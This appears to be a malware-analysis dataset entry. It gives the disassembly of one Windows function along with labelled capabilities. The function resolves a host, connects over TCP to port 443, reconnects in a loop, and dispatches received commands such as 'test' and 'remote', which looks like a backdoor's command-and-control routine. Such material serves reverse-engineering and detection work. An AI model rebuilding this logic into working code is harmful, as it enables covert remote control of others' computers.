Function at 0x401bf0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403ccc
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x260
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x1b8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401c4f
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp dword [0x40b524], 0xf
mov eax, 0x40b510
cmova eax, dword [0x40b510]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0
push 1
push 2
mov eax, dword [eax + 0xc]
mov esi, dword [eax]
mov esi, dword [esi]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x4074d8], eax
mov eax, 2
push 0x1bb
mov word [ebp - 0x24], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x22], ax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 4
push 0x405434
push 0x1006
push 0xffff
push dword [0x4074d8]
mov dword [ebp - 0x20], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x10
lea eax, [ebp - 0x24]
push eax
push dword [0x4074d8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401d00
push dword [0x4074d8]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401bf0
mov ecx, dword [0x40b550]
mov eax, closesocket
sub eax, ecx
mov dword [ebp - 0x1c0], ecx
cmp eax, 1
jae 0x401d1d
call fcn.00401340
cmp dword [0x40b554], 0xf
lea edx, [ecx + 1]
mov eax, 0x40b540
mov dword [ebp - 0x200], 0
cmova eax, dword [0x40b540]
lea edi, [ebp - 0x210]
mov esi, 0xf
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x1fc], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1bc], edx
movups xmmword [ebp - 0x210], xmm0
cmp edx, esi
jbe 0x401df1
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x401da6
mov ecx, connect
mov esi, closesocket
add ecx, 0x23
push ecx
call fcn.00402d67
add esp, 4
test eax, eax
je 0x402099
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x401dd9
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
test eax, eax
jne 0x401dbb
xor edi, edi
jmp 0x401de5
cmp eax, 0x1000
jb 0x401dce
lea ecx, [eax + 0x23]
cmp ecx, eax
ja 0x401d8a
call fcn.004012a0
push eax
call fcn.00402d67
add esp, 4
mov edi, eax
mov edx, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x210], edi
push ecx
push eax
push edi
mov dword [ebp - 0x200], edx
mov dword [ebp - 0x1fc], esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x1c0]
add esp, 0xc
mov word [edi + eax], 0xa
push 0x40b4e0
lea edx, [ebp - 0x210]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x270]
call fcn.00402a00
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x258]
call fcn.00402970
add esp, 4
push 0x40b528
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x240]
call fcn.00402a00
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x228]
call fcn.00402970
add esp, 4
push 0x4070c0
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1f8]
call fcn.00402a00
add esp, 4
lea eax, [ebp - 0x1f8]
cmp dword [ebp - 0x1e4], 0xf
cmova eax, dword [ebp - 0x1f8]
push 0
push dword [ebp - 0x1e8]
push eax
push dword [0x4074d8]
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0x1e4]
cmp ecx, 0xf
jbe 0x401eeb
mov edx, dword [ebp - 0x1f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401ee1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402099
push ecx
push edx
call fcn.00402fe8
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1e4], 0xf
mov byte [ebp - 0x1f8], 0
cmp ecx, 0xf
jbe 0x401f44
mov edx, dword [ebp - 0x228]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401f3a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402099
push ecx
push edx
call fcn.00402fe8
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x22c]
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x214], 0xf
mov byte [ebp - 0x228], 0
cmp ecx, 0xf
jbe 0x401f9d
mov edx, dword [ebp - 0x240]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401f93
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402099
push ecx
push edx
call fcn.00402fe8
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
cmp ecx, 0xf
jbe 0x401ff6
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401fec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402099
push ecx
push edx
call fcn.00402fe8
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x25c]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
cmp ecx, 0xf
jbe 0x40204b
mov edx, dword [ebp - 0x270]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402041
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402099
push ecx
push edx
call fcn.00402fe8
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1fc]
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], 0xf
mov byte [ebp - 0x270], 0
cmp ecx, 0xf
jbe 0x4020a9
mov edx, dword [ebp - 0x210]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40209f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40209f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402fe8
add esp, 8
mov edi, dword [0x4070bc]
mov esi, dword [0x4070a8]
nop word [eax + eax]
push 0x4000
push 0
push 0x4074e0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [0x4070b8], 0
cmp edi, 0xf
mov eax, 0x4070a8
cmova eax, esi
push 0
push 0x4000
push 0x4074e0
push dword [0x4074d8]
mov byte [eax], 0
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40234b
test eax, eax
je 0x40234b
cmp eax, 0x4000
je 0x40234b
mov ecx, 0x4074e0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402128
sub ecx, edx
push ecx
push ecx
mov ecx, 0x4070a8
call fcn.004026d0
mov edi, dword [0x4070bc]
mov ecx, 0x4070a8
mov esi, dword [0x4070a8]
cmp edi, 0xf
cmova ecx, esi
cmp dword [0x4070b8], 4
jne 0x402244
mov eax, dword [ecx]
mov edx, str.test
cmp eax, dword [edx]
je 0x402188
cmp al, byte [edx]
jne 0x40218c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40218c
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40218c
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x40218c
xor eax, eax
jmp 0x402191
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402244
push 7
xorps xmm0, xmm0
mov dword [ebp - 0x1d0], eax
push str.success
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x1cc], eax
movups xmmword [ebp - 0x1e0], xmm0
call fcn.00402b20
cmp dword [ebp - 0x1cc], 0xf
lea eax, [ebp - 0x1e0]
push 0
push dword [ebp - 0x1d0]
cmova eax, dword [ebp - 0x1e0]
push eax
push dword [0x4074d8]
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0xf
jbe 0x402224
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40221a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402099
push ecx
push edx
call fcn.00402fe8
add esp, 8
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
jmp 0x4020a9
cmp edi, 0xf
mov eax, 0x4070a8
cmova eax, esi
cmp dword [0x4070b8], 9
jne 0x4022ad
mov edx, 0x4052c0
mov esi, 5
mov ecx, dword [eax]
cmp ecx, dword [edx]
jne 0x402273
add eax, 4
add edx, 4
sub esi, 4
jae 0x402262
mov cl, byte [eax]
cmp cl, byte [edx]
jne 0x40229a
cmp esi, 0xfffffffd
je 0x402296
mov cl, byte [eax + 1]
cmp cl, byte [edx + 1]
jne 0x40229a
mov cl, byte [eax + 2]
cmp cl, byte [edx + 2]
jne 0x40229a
mov al, byte [eax + 3]
cmp al, byte [edx + 3]
jne 0x40229a
xor eax, eax
jmp 0x40229f
sbb eax, eax
or eax, 1
test eax, eax
je 0x40232c
mov esi, dword [0x4070a8]
cmp edi, 0xf
mov ecx, 0x4070a8
cmova ecx, esi
cmp dword [0x4070b8], 6
jne 0x4020c0
mov eax, dword [ecx]
mov edx, str.remote
mov dword [ebp - 0x1bc], 2
cmp eax, dword [edx]
jne 0x4022ea
add ecx, 4
mov dword [ebp - 0x1bc], 0xfffffffe
add edx, 4
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x402315
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x402315
cmp dword [ebp - 0x1bc], 0xfffffffe
je 0x402311
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x402315
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x402315
xor eax, eax
jmp 0x40231a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4020c0
call fcn.00401630
jmp 0x4020a9
push dword [0x4074d8]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
call fcn.00401590
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push dword [0x4074d8]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
call fcn.00401590
call fcn.00401bf0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00402d59
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret